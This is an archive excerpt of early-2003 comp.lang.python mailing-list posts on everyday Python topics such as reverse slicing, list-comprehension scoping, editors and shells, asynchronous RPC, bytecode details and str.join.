>> 
>> A person is what counts as a 'unique poster'. A message ID alone would not
>> measure the 'user base' factor "im interested in.
>> 
>> Spam is still a problem to consider. It's not perfect yet.......
> 
> Spam is probably a problem best ignored.  It would probably
> affect all those groups equally anyway.

I don't think it would, but spam is probably a small enough percentage
of posts that it wouldn't make much difference.


-- 
CARL BANKS



From raims at dot.com  Mon Jan 27 22:31:24 2003
From: raims at dot.com (Rhymes)
Date: Tue, 28 Jan 2003 04:31:24 +0100
Subject: java introduction for pythonistas
References: <20030127112513.GA671@matijek> <3e3565f3$0$145$e4fe514c@dreader7.news.xs4all.nl> <b14pru$db1$2@news-int.gatech.edu>
Message-ID: <pan.2003.01.28.03.31.24.738979@dot.com>

On Mon, 27 Jan 2003 21:26:19 -0500, grayrest wrote:

> or has something changed in 1.4?

is still System.out.println()

-- 
Rhymes
rhymes at NOSPAMmyself.com





From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Fri Jan 24 06:54:56 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Fri, 24 Jan 2003 12:54:56 +0100
Subject: Something like asynchronous XML-RPC possible?
In-Reply-To: <cb035744.0301240308.25034fed@posting.google.com>
References: <cb035744.0301240308.25034fed@posting.google.com>
Message-ID: <3e31281c$0$49102$e4fe514c@news.xs4all.nl>

Will Stuyvesant wrote:
> Under the hood the processes communicate by means of TCP.  But now my
> boss wants them to communicate by means of UDP!  Any ideas how to
> accomplish this?  It would mean that operation or method calls are no
> longer possible, only communication via events will be there.  The
> desired usage pattern would be::
> 
>   p2 = remote_async_process(url, portnumber)
>   p2.sendEvent(event)
> 
> where the event could be just a string for now.  Later it could be
> useful to have objects as events, but I could also just turn a string
> into any object I need.  What is important is that the caller is *not
> blocking* while waiting for a return value from ``p2``.

Are you tied to XML-RPC? Is UDP a requirement?
If not: Pyro supports your desired usage pattern already.
Either use Pyro's asynchronous Event Server, or use Pyro's
"oneway" method calls.
They currently use TCP for reliable delivery, but once the
request has been sent, your program carries on, not waiting for
any answers from the other object.

See http://pyro.sourceforge.net


Irmen de Jong




From mertz at gnosis.cx  Thu Jan  9 01:36:41 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Thu, 09 Jan 2003 01:36:41 -0500
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com>
 <mailman.1041979908.27085.python-list@python.org>
 <52719db8.0301071942.7d23cc46@posting.google.com>
 <mailman.1042038801.29977.python-list@python.org>
 <52719db8.0301082116.50572416@posting.google.com>
Message-ID: <5hRH+kKkXMEH092yn@gnosis.cx>         

judoscript at hotmail.com (James Huang) wrote previously:
|...but you totally missed what JudoScript is about:
|it's not about syntax. I couldn't care less about so many discussions
|about differences between Python and Java and C++ and SmallTalk and
|... even beyond syntax level. JudoScript is about direct-ness.

This sort of silliness is exactly what annoys users of other programming
(scripting) languages.  The differences between JudoScript and Jython,
or NetRexx, or Jacl, *really is* a matter of syntax.  Well, not quite...
there are minor differences in the semantic models also.  But being able
to access Java classes and utilize the JVM is absolutely not special to
JudoScript (nor is being "multi-domain", or "4GL", or "general purpose",
or any of the dozen other buzzwords on the JudoScript site).  Take a
look at the below for a couple dozen other similar projects:

    http://grunge.cs.tu-berlin.de/~tolk/vmlanguages.html

There's nothing particularly -wrong- with JudoScript, except that all
the claims made about it are hyperbolic nonsense, full of exaggerations,
false differences, and annoying marketese.  Actually, in those respects
it reminds of of the wearying advertisement one finds in REBOL
documentation (another language with comparatively similar target and
syntax).

Moreover, all the claims for JudoScript being "fundamentally new",
better, cleaner, more powerful, etc. are rather undermined by the fact
its author doesn't know the meaning of rather basic CompSci concepts
like "weakly-typed."

Yours, Lulu...

--
    _/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY: Postmodern Enterprises _/_/_/
   _/_/    ~~~~~~~~~~~~~~~~~~~~[mertz at gnosis.cx]~~~~~~~~~~~~~~~~~~~~~  _/_/
  _/_/  The opinions expressed here must be those of my employer...   _/_/
 _/_/_/_/_/_/_/_/_/_/ Surely you don't think that *I* believe them!  _/_/





From andrew-pythonlist at puzzling.org  Thu Jan 16 19:30:30 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 17 Jan 2003 11:30:30 +1100
Subject: iterating in reverse
In-Reply-To: <f57664b9.0301161546.37c85159@posting.google.com>
References: <f57664b9.0301161546.37c85159@posting.google.com>
Message-ID: <20030117003030.GB3199@frobozz.local>

On Thu, Jan 16, 2003 at 03:46:32PM -0800, Jonathan P. wrote:
> 
> will always print x's contents in the
> same sequence.  Is there an elegant and
> efficient way to iterate through x in
> reverse without having to create a reversed
> copy of it (i.e. y=x[:]; y.reverse())?

Get the Python 2.3 alpha, and it's really easy :)

>>> l = [1,2,3,4,5]
>>> for i in l[::-1]:
...     print i
... 
5
4
3
2
1

-Andrew.





From clifford.wells at attbi.com  Tue Jan 28 13:32:00 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 28 Jan 2003 10:32:00 -0800
Subject: How to do this in Python...
In-Reply-To: <rxsZ9.126669$AA2.5317615@news2.tin.it>
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com>
	 <HJ3Z9.987$P64.136@nwrddc02.gnilink.net> <b14p8o$q9c$1@wheel2.two14.net>
	 <mailman.1043723992.21150.python-list@python.org>
	 <b151vs$qbr$1@wheel2.two14.net>
	 <mailman.1043737792.4709.python-list@python.org>
	 <rxsZ9.126669$AA2.5317615@news2.tin.it>
Message-ID: <1043778720.4925.828.camel@x1-6-00-04-5a-64-c4-03>

On Tue, 2003-01-28 at 02:00, Alex Martelli wrote:
> Cliff Wells wrote:
>    ...
> > Well, if conciseness is the goal, I'm shocked that no one has suggested
> > the obvious and practically idiomatic:
> > 
> > if filter(None, [match for match in [re.search(pattern1, target)]]):
> >     print "1", match.string
> > elif filter(None, [match for match in [re.search(pattern2, target)]]):
> >     print "2", match.string
> > else:
> >     print "no match"
> 
> Weird to use filter AND list comprehension when just the latter
> would suffice,,,:
> 
> if [match for match in [re.search(pattern1,target)] if match]:


Yes, but I considered that ugly and unreadable <wink>.


> etc.  The if clause in the list comprehension is useful here.
> 
> 
> Personally, I consider this idiom a (slight) _abuse_ of list
> comprehensions -- specifically, of the "implementation detail"
> that any identifier that gets bound in the for clause of a
> list comprehension gets bound in the SURROUNDING scope, i.e.,
> a list comprehension does not define a new nested scope.
> 
> I guess that, if the idiom becomes a popular replacement for
> the missing assign-and-test, all future releases of Python
> will be practically constrained to let list comprehensions
> always "pollute" the surrounding scope in this way.  But this
> does not strike me, personally, as a very nice prospect anyway.

Fortunately it turned out to be a horrible joke ;)  I guess after
looking at DSV you must think all my code looks like that =)


-- 
Cliff Wells <clifford.wells at attbi.com>





From risolar at libero.it  Thu Jan  2 16:58:03 2003
From: risolar at libero.it (Stefano)
Date: Thu, 02 Jan 2003 21:58:03 GMT
Subject: wxPython
References: <bl2R9.73683$TC5.2455364@twister1.libero.it> <7A2R9.49$DR5.116286@news.uswest.net>
Message-ID: <LB2R9.73107$Ou4.2424308@twister2.libero.it>

> http://www.python.org/topics/database/
>
> If you're on Windows you could probably also use a DB-aware COM control
and
> let it handle all the work. The wxPython-users mailing list is probably a
> better place for wxPython questions that c.l.py
>
> http://www.wxpython.org/maillist.php
>
> ka
Thanks for all support.






From altis at semi-retired.com  Sat Jan 25 14:08:09 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Sat, 25 Jan 2003 11:08:09 -0800
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com> <fcAY9.37$Sf4.29148@news.uswest.net> <3e32db24_4@corp.newsgroups.com>
Message-ID: <xfBY9.72$M%3.40422@news.uswest.net>

Assuming that you have wxPython installed (the latest version is 2.4.0.2)
then the PyCrust package is located in the following wxPython directory.

Python22/Lib/site-packages/wxPython/lib/PyCrust

You'll want to run PyCrustApp.py (shell and namespace viewer) or just
PyShellApp.py (just a shell)

On Windows, the wxPython installer makes shortcuts to both of these apps,
but I don't think that exists for Linux, which I think you said was the
platform you're running.

ka

"Norm" <norm at norm.com> wrote in message
news:3e32db24_4 at corp.newsgroups.com...
> Hey ...er... how do you download pycrust?  I was led to some CVS and a
bunch
> of files.  I did get xwPython from Min.edu, but the actual PyCrust is
> confusing me.
>
> Thanks
> Norm
>
>
>
> "Kevin Altis" <altis at semi-retired.com> wrote in message
> news:fcAY9.37$Sf4.29148 at news.uswest.net...
> > "Norm" <norm at norm.com> wrote in message
> > news:3e32a1a6_4 at corp.newsgroups.com...
> > > I'm really just getting started in Python with the goal of improving
my
> > > Linux networking administration.
> > >
> > > I'm learning / practicing with IDLE Python GUI.
> > >
> > > Q.  What does the real Python community use for creating Python
> programs?
> > >
> > > Thanks
> > > norm
> >
> > You'll just need to try some. It is critical that the editor you use is
> > Python-aware, can highlight things like mixed tabs and spaces, which can
> > cause errors when trying to run your scripts; you should just use 4
spaces
> > per indent, but your editor should be able to bind the tab and shift-tab
> > keys to automatically indent and dedent correctly while editing. If you
> are
> > already familiar with using vi(m) or Emacs or any of the other editors
> > listed in the links below, then there is a lot to be said for not
> switching
> > editors and just getting a Python mode working with the editor you
already
> > know. If you don't already know vi(m) and Emacs then I strongly urge you
> not
> > to try and come to grips with either of those editors while learning
> Python,
> > that would simply be cruel and unusual punishment. You'll have time to
> learn
> > to love or hate vi(m) or Emacs or neither after you've learned Python.
> >
> > http://www.python.org/editors/
> >
> > http://www.python.org/cgi-bin/moinmoin/PythonEditors
> >
> > I think the important thing is to make sure you have an integrated shell
> as
> > part of your editor or Terminal/Console so that you can try things out.
> The
> > better Python shell wrappers have auto-completion and calltips, IDLE
does
> > not support this. Personally, I use PyCrust, which is part of the
wxPython
> > distribution.
> >
> > http://www.wxpython.org/
> >
> > There is also IPython
> >
> > http://www-hep.colorado.edu/~fperez/ipython/
> >
> > To see what I mean by auto-completion and call tips, look at the last
two
> > images of the Shell (PyCrust) documentation here:
> >
> > http://pythoncard.sourceforge.net/shell.html
> >
> > You may also want to look at a more focused list of resources for
learning
> > Python from the PythonCard docs page:
> >
> > http://pythoncard.sourceforge.net/learning_python.html
> >
> > ka
> > ----
> > Kevin Altis
> > http://radio.weblogs.com/0102677/
> > http://ww.pythoncard.org/
> >
> >
>
>
>
>
> -----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
> http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
> -----==  Over 80,000 Newsgroups - 16 Different Servers! =-----





From usenet at ixokai.net  Fri Jan 31 02:05:09 2003
From: usenet at ixokai.net (Ixokai)
Date: Thu, 30 Jan 2003 23:05:09 -0800
Subject: Win32 API's missing/incomplete?
Message-ID: <3e3a200f$1_6@nopics.sjc>

Hi folks.

I was trying to solve a mysterious problem in my program when I decided to
try a more direct route to os.system("subst ..") in my application.. so I
did some digging, and found win32file.DefineDosDrive.

Awesome. However, it has two problems... First, there is no QueryDosDrive
that i can find, which is sorta important for my purposes.. and Secondly, I
can't see how to /undelete/ a drive totally, without knowing the path its
set to.

See, if you pass a "null" value to the function its susposed to delete
whatever the latest path is that was stuck onto that drive.. but None, "",
[], et al, are not valid params to DefineDosDrive.

Anyone have any sugguested solutions? Thanks in advance.

--Ixokai





From christophertavares at earthlink.net  Sun Jan 12 17:43:37 2003
From: christophertavares at earthlink.net (Chris Tavares)
Date: Sun, 12 Jan 2003 22:43:37 GMT
Subject: make objetcs 'commit suicide'
References: <avrv71$m2q$2@news-reader10.wanadoo.fr>
Message-ID: <tcmU9.6539$Dq.690240@newsread2.prod.itd.earthlink.net>

"polux" <polux2001 at wanadoo.fr> wrote in message
news:avrv71$m2q$2 at news-reader10.wanadoo.fr...
> class a:
> def go(self):
> self.__del__            # or del(self)
>
>
> and then
> b=a()
> b.go()
>
>
> b is not destructed
>

Python is not C++. And del is not the same as delete.

del removes a name from the current namespace. Objects go away when there
are no more references to them. In your go() method, del(self) simply
removes the name "self" from your current namespace. However, the calling
namespace still has "b" pointing at the same object, so the object's still
alive.

You need to think about objects more like you would in a garbage collected
language. Objects don't have destructors, they have finalizers, that will
get called "eventually". If you have cleanup that MUST happen, put it in its
own method and call it explicitly.

Yes, I know it's hard to get used to this coming from C++ - it took me quite
a while to come to grips with it. But once you do, programming gets a LOT
easier (and not just in Python).

-Chris






From skip at pobox.com  Thu Jan 23 17:37:22 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 23 Jan 2003 16:37:22 -0600
Subject: Is there really a default source encoding?
In-Reply-To: <005c01c2c32c$b7180fe0$21795418@dell1700>
References: <yfsel731qlg.fsf@black132.ex.ac.uk>
        <005c01c2c32c$b7180fe0$21795418@dell1700>
Message-ID: <15920.28322.735834.322764@montanaro.dyndns.org>

    Brian> Once the Python Unicode type is called "string", current strings
    Brian> are called "byte strings" and implicit byte string => string
    Brian> conversions are NEVER supported then maybe we can make a Unicode
    Brian> encoding the default (maybe UTF-32).

And once every editor supports such encodings?  I use XEmacs.  Out of the
box it doesn't even support utf-8, let alone utf-32.

Skip




From ark at research.att.com  Wed Jan  8 10:37:25 2003
From: ark at research.att.com (Andrew Koenig)
Date: Wed, 8 Jan 2003 15:37:25 GMT
Subject: no side effects
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>
Message-ID: <yu99k7hfk5ze.fsf@europa.research.att.com>

Michele> I was surprised by the following code:
Michele>     for i in [1,2,3]:
Michele> ...     print i,
Michele> ...     i=3

Michele> I would have expected only 1 to be printed, but instead Python
Michele> continues the loop without noticing that the value of i has
Michele> changed. IOW, no side effect.
Michele> I am not against that (I am even in favor), but it fooled my 
Michele> intuition coming from other languages.

What would your intuition have said if you had written this instead?

             for i in [3, 1, 4]:
                 print i,
                 i=3


-- 
Andrew Koenig, ark at research.att.com, http://www.research.att.com/info/ark



From NadavH at envision.co.il  Wed Jan  8 08:03:00 2003
From: NadavH at envision.co.il (Nadav Horesh)
Date: Wed, 08 Jan 2003 15:03:00 +0200
Subject: Is it really good?
Message-ID: <3E1C2184.1040808@envision.co.il>

Thanks to those who clarified the issue for me. I see it as the follows:
The construct
A rel_op B rel_op C
is a type of ternary operator like the ?: in C. As one who deals mainly 
with numerical analysis, this was very attractive for me, as it much 
more clearer to read/write
 A < x < B
then
(A < x) and (x < B),
especially when x is an expression rather then a variable. But, as in 
the ?: case, the expression can be made clear, or being abused like in 
the "2 == 3 is good" example. So one can either take the practical 
attitude (if it mostly works it is fine), or the purist's (why should 
relation operators be treated differently).

P.S.
  There is at least on thread about ?: in python in python-deg mailing list.

  Nadav.





From tjreedy at udel.edu  Thu Jan  9 01:18:26 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 9 Jan 2003 01:18:26 -0500
Subject: Generate variables at run time?
References: <VyPS9.6818$xs6.347786501@newssvr14.news.prodigy.com> <avi7k2$g5tob$1@ID-89047.news.dfncis.de> <Z77T9.276$V71.172@newssvr19.news.prodigy.com>
Message-ID: <ACydnQ1t3e4TiICjXTWcoQ@comcast.com>

"Byron Morgan" <lazypointer at yahoo.com> wrote in message
news:Z77T9.276$V71.172 at newssvr19.news.prodigy.com...
> A server supplies an alphanumeric data stream over an internet
socket. The
> data is output from a train control system. Trains constantly enter
and
> leave the controlled territory, and each has a unique ID. I want to
use a
> class named  "train", and name each new instance based on this ID.
For
> example, train 123 will cause creation of  T123=train(). While the
train is
> in the system, it will be frequently updated based on new data, then
it will
> be destroyed when the train leaves the system.

What I would do is have a dict of trains.  When a new one enters the
system, add a corresponding instance of train to the dict keyed on
train id: trains[id] = train(initdata).  Keeping trains isolated in
their own namespace (dict) with be easier and *much* more useful than
adding them to the module namespace.  I can think of no advantage to
doing the latter.

Terry J. Reedy





From pedronis at bluewin.ch  Thu Jan  2 15:24:02 2003
From: pedronis at bluewin.ch (Samuele Pedroni)
Date: Thu, 2 Jan 2003 21:24:02 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e145c1e$0$71692$edfadb0f@dread11.news.tele.dk> <3e146ab0_3@news.bluewin.ch> <oP_Q9.23115$Hl6.2417254@news010.worldonline.dk> <3e14840e$1_3@news.bluewin.ch> <4S0R9.23646$Hl6.2445570@news010.worldonline.dk>
Message-ID: <3e14a018$1_3@news.bluewin.ch>

"Anders J. Munch" <andersjm at inbound.dk> ha scritto nel messaggio
news:4S0R9.23646$Hl6.2445570 at news010.worldonline.dk...
> "Samuele Pedroni" <pedronis at bluewin.ch> wrote:
> >
> > > Suit yourself.  I have no particular need to convince you; I used the
> > > example for illustration, not as evidence.
> > >
> >
> > where's inspector in your reformulation?
>
> Oh, you're right, I read the original to hastily, focused on
> next-method and missed the role of the inspector subtype completely.
> I'm used to argument types being a mostly-redundant mechanism for
> catching errors, not a mechanism for specifying execution semantics.
>
> I'll try again: The specs say:
> "However, different types of vehicle inspectors may have different
> policies."
>
> def inspect(car, inspector):
>     for inspection in vehicle.relevant_inspections():
>         if inspector.policy_includes(inspection):
>             inspection.perform(vehicle)
>
> My, that was hard.  The lack of multimethods forced me add an entire
> if-statement ;-)

The results of relevant_inspections and the bodies of policy_includes are
not orthogonal, so that's far from ideal.

Are you sure you have illustrated what you wanted to illustrate?

I would go for:

for inspection in relevant_inspections(car,inspector): # multi method
 ...

and use a union combination or filter the results through the super-call
chain.

Nevertheless the example is too much a toy to show anything for whatever
side.

You could try with something larger.

Thanks.








From adalke at mindspring.com  Sun Jan 26 16:57:29 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Sun, 26 Jan 2003 14:57:29 -0700
Subject: xlistdir -- an iterator version of os.listdir
In-Reply-To: <mailman.1043595407.12112.python-list@python.org>
References: <20030126051723.20234.qmail@admin.jdiworks.net> <mailman.1043595407.12112.python-list@python.org>
Message-ID: <b12d7a$816$2@slb6.atl.mindspring.net>

Mongryong wrote:
> It would also be nice to be able to list files allow with a certain
> pattern or suffix.

It's an iterator, so compose it with a filter.  Here's one
NOTE: untested!


from __future__ import generators

import fnmatch

def xfnmatchs(filenames, pattern):
   for filenames in filenames:
     if fnmatch(x, pattern):
       yield filename


and you could use this like

   for filename in xfnmatches(xlistdir("/etc"), "*.txt")):
     if filename.find("spam") != -1:
       break

					Andrew
					dalke at dalkescientific.com




From mwm at mired.org  Sat Jan  4 12:26:56 2003
From: mwm at mired.org (Mike Meyer)
Date: 04 Jan 2003 11:26:56 -0600
Subject: Threaded server in python!?
References: <av4u4r$v3c$06$1@news.t-online.com> <mailman.1041647647.32116.python-list@python.org>
Message-ID: <x7y9607rmn.fsf@guru.mired.org>

Andrew Bennetts <andrew-pythonlist at puzzling.org> writes:
> On Fri, Jan 03, 2003 at 10:10:53PM +0100, Achim Domma wrote:
> > Hi,
> > 
> > I would like to implement my own http chat server. As far as I know pythons
> > threads are not very efficient due to the global interpreter lock. But
> > applications like Zope, Webware, ... work fine and they use threads. Am I
> > missing something or could somebody post some experiences (good ones and bad
> > ones) with threaded, socked based python servers.
> 
> Why do you think you need threads to do this?
> 
> Using a library like Twisted <http://twistedmatrix.com/>, it's
> straightforward to handle multiple sockets, without needing threads.
> 
> As a bonus, Twisted has implementations of many common protocols, ready for
> you to use and adapt to your problem

The above also applies to medusa, except that it's a multi-protocol
internet server instead of a library. I actually wrote an http chat
server on top of medusa for a client, and was pleased with how well it
worked.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From juneaftn at REMOVETHIShanmail.net  Wed Jan 29 03:32:56 2003
From: juneaftn at REMOVETHIShanmail.net (Changjune Kim)
Date: Wed, 29 Jan 2003 17:32:56 +0900
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com> <slrnb3dg7u.lr.lee@bad-bart.lcp.nrl.navy.mil> <b16jlp$fii$1@newsmaster.cc.columbia.edu> <877kcp6kp3.fsf@theasylum.dyndns.org> <mJycne7YFOFYaqujXTWcpw@comcast.com> <b17t3o$nnt$1@news.hananet.net> <z6acnU4WU6s4HaqjXTWc3w@comcast.com>
Message-ID: <b183jj$ss8$1@news.hananet.net>

"Terry Reedy" <tjreedy at udel.edu> wrote in message
news:z6acnU4WU6s4HaqjXTWc3w at comcast.com...
>
> > As someone noted in the thread, it doesn't need to be WRETCHED.
> >
> > Having JavaScript and Java(uh..Jython) Applet talk to each other --
> and
> > even talk to the server on another port -- the screen doesn't need
> to
> > blink.
>
> A downloaded Javascript or Shockwave game is literally a whole
> different game.  But then the browser is being used as the engine as
> well as the user interface (in which case, one might just as well use
> something like PyGame).  It seemed to me that the OP was talking about
> a HTML-served image-map game with the browser serving as just the UI.
>
> Terry


JavaScript and Servlet can be as thin as possible -- a sort of proxy. The
server side does the rest of the stuff. IOW, the server can update the
html(as in DOM) of the client's browser.

June




From tjreedy at udel.edu  Sun Jan 12 16:28:45 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 12 Jan 2003 16:28:45 -0500
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
References: <avshv5$kp8$0@216.39.172.122>
Message-ID: <iaGcnQrLiNlFQ7yjXTWcpw@comcast.com>

"Bengt Richter" <bokr at oz.net> wrote in message
news:avshv5$kp8$0 at 216.39.172.122...
> It seems like usually POP_TOP is the next byte code on either
branch.
> Or is there a difficult case where the value is needed on the stack?
> It seems like the 99% case is getting the overhead (and also making
the
> polling interval counter count unnecessary codes).

I asked exactly this question last Aug 2 in a thread entitled Python
Bytecode.
http://tinyurl.com/4d64 will take you to a google page with the
responses.
Had to do with short-circuiting logic (and/or), including that
generated by chained comparisons (1 < x < 9).  Some sense that it
might be changed when compiler is rewritten.

Terry J. Reedy





From DLNXPEGFQVEB at spammotel.com  Mon Jan 13 12:12:01 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Mon, 13 Jan 2003 19:12:01 +0200
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
References: <avshv5$kp8$0@216.39.172.122>
Message-ID: <7ns52vg9pbe3d04a2612kthrcfpavbmmug@4ax.com>

On 12 Jan 2003 20:08:05 GMT, rumours say that bokr at oz.net (Bengt
Richter) might have written:

>It seems like usually POP_TOP is the next byte code on either branch.
>Or is there a difficult case where the value is needed on the stack?
>It seems like the 99% case is getting the overhead (and also making the
>polling interval counter count unnecessary codes).
>
>Regards,
>Bengt Richter

If I may,

http://groups.google.com/groups?threadm=bpr6musc14m74uqss78iehtl72h9qrmu7o%404ax.com&rnum=1&prev=/groups%3Fq%3Djump_if_false_pop%26ie%3DUTF-8%26oe%3DUTF-8%26hl%3Den

At least on SGI Irix with MIPS processors, the savings weren't that
great.  But if you insist, I can find the patches...
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From exarkun at intarweb.us  Sun Jan 26 18:25:43 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Sun, 26 Jan 2003 18:25:43 -0500
Subject: determining method type (instance, static, class)
In-Reply-To: <yfsk7grpms1.fsf@black132.ex.ac.uk>
References: <yfsk7grpms1.fsf@black132.ex.ac.uk>
Message-ID: <20030126232543.GA21331@meson.dyndns.org>

On Sun, Jan 26, 2003 at 10:30:06PM +0000, Alexander Schmolck wrote:
> How can one determine whether a method .foo is a normal instance method or a
> classmethod or a staticmethod?
> 

With type() and the class's __dict__ attribute:

def bar(): pass

class Foo:
    def bar(): pass
    s_bar = staticmethod(bar)
    c_bar = classmethod(bar)

Foo.f_bar = bar

print map(type, 
    map(Foo.__dict__.__getitem__, ('bar', 's_bar', 'c_bar', 'f_bar'))
)

  You probably shouldn't want this information except in special cases where
your purpose is explicitly introspection, for debugging or a class browser
or something similar.

  Jp

-- 
 up 42 days, 3:49, 8 users, load average: 0.11, 0.21, 0.18
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030126/cb649c8a/attachment.sig>

From sholden at holdenweb.com  Sat Jan 18 10:55:45 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Sat, 18 Jan 2003 15:55:45 GMT
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com> <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com>
Message-ID: <5OeW9.5344$bs2.4384@news2.central.cox.net>

"Erik Max Francis" <max at alcyone.com> wrote in message
news:3E28D273.13497D3E at alcyone.com...
> Terry Reedy wrote:
>
> > Once you actually think about it, its obvious that attaching the join
> > method to the joiner is the only sensible place to put it.
> >
> > "Carpenter, exercise your ability to joins these pieces of wood."
>
> Agreed.  It may look weird at first, but it doesn't take long to realize
> as a method, that's the only place it can logically go.  After all, the
> alternative is having a join method be part of _every single sequence
> interface_, which is clearly heavy-handed.
>
Well, judgin by the number of times this topic comes up, and the vehement
and long-drawn out arguments it has spawned [with some proponents *refusing*
to admit the rationality of the way it's currently done even in the face of
reasonable and reasoned explanation form illuminati such as Alex Martelli)
it takes some people longer than others.

Despite the clear heavy-handedness of the alternative approach, not everyone
is persuaded.

> Furthermore, it's inherently a string-based operation, therefore the
> method should go on the string.  I personally find ','.join(S) extremely
> inuitive and readable.
>

Me too, but then we each knew the other was reasonable all along, right?

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From hjwidmaier at web.de  Mon Jan 27 11:07:42 2003
From: hjwidmaier at web.de (Hans-Joachim Widmaier)
Date: 27 Jan 2003 08:07:42 -0800
Subject: The "beaty" of date arithmetic
References: <mailman.1043427406.25766.python-list@python.org>
Message-ID: <6e990e29.0301270807.3aee0e25@posting.google.com>

Tim Peters <tim.one at comcast.net> wrote in message news:<mailman.1043427406.25766.python-list at python.org>...

> It's actually easy to supply answers to all such puzzles, but they're more
> arbitrary than compelling, and one size doesn't fit anyone.

I just knew it would be misunderstood ... My problem wasn't with the
fuzziness or complexity of the arithmetic itself, as I think I
undestand the implications well enough. I just found this playing with
tuple->list conversion and indexes (indices?) plain ugly. That was
really all. ;-)

> > ...
> > I already compiled 2.3a1 but didn't install it as it didn't pass the
> > tests.
> 
> Which OS, which tests, etc -- if problems aren't reported, they won't get
> fixed.  That's pretty much the point of an alpha release <wink>.

Linux, home-grown (LFS). Don't remember exactly what went wrong, but
afair it wasn't with the interpreter itself. More like "bsddb not
found" (I have it installed). Before whining, I wanted to look for the
exact reason, but haven't found the time yet. Sorry.

If I find a real bug I'll certainly file a bug report.

Hans-Joachim



From mwh at python.net  Tue Jan 21 05:43:45 2003
From: mwh at python.net (Michael Hudson)
Date: Tue, 21 Jan 2003 10:43:45 GMT
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0cugo$97r$1@panix2.panix.com> <i7KdnckAi6lfkLejXTWcog@comcast.com> <Z2DW9.1203$Sv3.158990@newsread1.prod.itd.earthlink.net> <mailman.1043010041.6455.python-list@python.org> <b0g2od$nq9$1@wheel2.two14.net> <3E2BB957.2A2199CF@alcyone.com> <b0h4kp$ome$1@wheel2.two14.net> <LtucneGmN-XXKbGjXTWc3g@comcast.com>
Message-ID: <7h3n0lukckc.fsf@pc150.maths.bris.ac.uk>

"Terry Reedy" <tjreedy at udel.edu> writes:

> > I guess I've never asked, and this does really cut to the heart of
> it.
> > I understand that Python has been OO since the very beginning, so
> how
> > ever did it wind up with so many of the string-the-class's methods
> (and
> > a constructor or two) hidden in a module, anyway?
> 
> Until 2.2, most immutables (numbers, strings, tuples, in particular)
> did not have methods.  TJR

strings got methods in 1.6.

pedantically-y'rs,
M.

-- 
  This song is for anyone ... fuck it.  Shut up and listen.
                         -- Eminem, "The Way I Am"



From sholden at holdenweb.com  Wed Jan  8 13:11:27 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 8 Jan 2003 13:11:27 -0500
Subject: list comprehensions value assignment syntax error
References: <mailman.1041983459.23262.python-list@python.org> <YjKS9.151$467.132@fe08> <mailman.1042038162.14439.python-list@python.org>
Message-ID: <9TZS9.9170$u9.4412@fe08>

"Gerrit Holl" <gerrit at nl.linux.org> wrote in message
news:mailman.1042038162.14439.python-list at python.org...
> Steve Holden schreef op woensdag  8 januari om 01:36:49 +0000:
> > > I am trying to assign to a list item using list comprehensions, but
this
> > > raises a SyntaxError:
> >
> > You've been around this group long enough to know where to consult the
FAQ,
>
> I am really sorry about this one. I did consult the FAQ but only on 'list
> comprehensions', so I did not find number 6.30:
>
> http://www.python.org/cgi-bin/faqw.py?req=show&file=faq06.030.htp
> "Why can't I use an assignment in an expression?"...
>
> I did not realise my questien was really about this and not about list
> comprehensions. I should have been able to identify my problem as being
> this; I should have thought harder before posting to the list, sorry.
>
> I hope you can forgive me <w> ;),

Easily. I take it what you actually wanted was to construct the list using
the comprehension?

regards
-----------------------------------------------------------------------
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/
-----------------------------------------------------------------------






